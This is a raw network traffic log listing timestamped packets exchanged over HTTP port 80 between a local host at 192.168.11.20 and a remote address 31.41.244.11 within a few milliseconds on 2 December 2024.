Dec 2, 2024 11:21:10.809104919 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.809155941 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.809171915 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.809171915 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.809367895 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.809427023 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.809479952 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.809524059 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.809567928 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.809587955 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.809617996 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.809691906 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.809693098 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.809768915 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.809814930 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.809844971 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.809887886 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.809900999 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.809900999 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.810055971 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.810106993 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.810138941 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.810183048 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.810225964 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.810259104 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.810264111 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.810369968 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.810369968 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.810410023 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.810591936 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.810749054 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.810791969 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.810836077 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.810880899 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.810911894 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.810956001 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.810969114 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.810970068 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.811033964 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.811068058 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.811073065 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.811127901 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.811162949 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.811191082 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.811208010 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.811238050 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.811283112 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.811326981 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.811356068 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.811403036 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.811408997 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.811490059 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.811603069 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.811640024 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.811671972 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.811717033 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.811759949 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.811784983 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.811805964 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.811863899 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.811863899 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.812614918 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.812701941 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.812737942 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.812782049 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.812825918 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.812855959 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.812886000 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.812932968 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.812982082 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.813045979 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.813083887 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.813095093 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.813132048 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.813177109 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.813221931 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.813251972 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.813297987 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.813318968 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.813318968 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.813368082 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.813401937 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.813436031 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.813477039 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.813591957 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.813605070 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.813656092 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.813688040 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.813730001 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.813738108 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.813831091 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.813863039 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.813906908 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.813930988 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.813930988 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.813981056 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.814014912 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.814027071 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.814074993 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.814099073 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.814146042 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.814229012 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.814254999 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.814277887 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.814323902 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.814368010 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.814383984 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.814416885 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.814491034 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.814580917 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.814625978 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.814671993 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.814702034 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.814744949 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.814760923 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.814809084 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.814865112 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.814891100 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.814910889 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.814956903 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.815001965 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.815021992 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.815048933 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.815093040 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.815139055 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.815217018 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.815249920 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.815263987 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.815296888 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.815340996 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.815450907 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.815541983 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.815617085 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.815648079 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.815692902 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.815736055 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.815769911 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.815776110 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.815829039 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.815840006 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.815891981 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.815896988 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.815934896 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.815979958 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.816051960 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.816082954 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.816114902 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.816159010 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.816167116 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.816219091 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.816248894 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.816257954 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.816308975 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.816360950 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.816407919 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.816504002 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.816607952 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.816639900 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.816683054 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.816729069 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.816759109 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.816804886 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.816812038 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.816812038 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.816855907 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.816886902 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.816922903 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.816962004 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.817146063 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.817152977 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.817208052 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.817238092 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.817281008 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.817296028 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.817343950 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.817349911 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.817388058 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.817456961 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.817462921 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.817516088 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.817529917 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.817563057 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.817606926 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.817693949 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.817703962 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.817744017 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.817816973 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.817847013 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.817893028 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.817900896 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.817938089 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.818000078 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.818052053 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.818124056 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.818170071 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.818198919 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.818242073 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.818303108 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.818310022 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.818348885 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.818461895 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.818471909 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.818593025 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.818610907 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.818645000 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.818686962 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.818778992 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.818870068 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.818900108 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.818933010 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.818978071 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.819021940 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.819051027 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.819096088 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.819101095 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.819152117 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.819183111 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.819194078 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.819243908 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.819288015 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.819298983 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.819298983 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.819339991 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.819428921 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.819597006 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.819643021 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.819672108 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.819755077 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.819835901 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.819919109 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.819950104 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.819981098 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.820012093 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.820065022 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.820074081 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.820112944 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.820158958 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.820163012 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.820218086 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.820224047 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.820261955 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.820286989 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.820365906 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.820390940 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.820430040 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.820461035 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.820503950 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.820509911 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.820564985 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.820614100 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.820614100 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.820768118 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.820880890 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.820928097 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.820971012 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.821069002 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.821099997 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.821171045 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.821234941 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.821288109 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.821429968 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.822060108 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.822118044 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.822237968 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.822283983 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.822386026 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.822439909 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.822484970 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.822529078 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.822539091 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.822593927 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.822601080 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.822649002 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.822649002 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.822676897 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.822834015 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.822840929 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.822926044 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.822987080 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.823043108 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.823182106 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.823267937 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.823465109 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.823687077 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.823740005 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.823834896 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.823856115 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.823926926 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.823997021 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.824048042 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.824206114 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.824357033 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.824413061 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.824457884 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.824516058 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.824558973 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.824629068 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.824956894 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.825180054 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.825193882 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.825267076 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.825314045 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.825330973 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.825474977 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.825532913 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.825619936 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.825675011 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.825777054 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.825799942 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.825921059 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.826153040 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.826338053 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.826817036 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.826874971 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.826922894 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.826966047 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.827011108 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.827119112 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.827119112 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.827234983 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.827368975 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.827423096 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.827466965 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.827528954 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.827574968 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.827645063 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.827785969 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.828005075 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.828092098 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.828146935 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.828190088 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.828262091 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.828262091 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.828336000 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.828352928 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.828401089 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.828445911 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.828567028 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.828574896 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.828576088 CET	49753	80	192.168.11.20	31.41.244.11
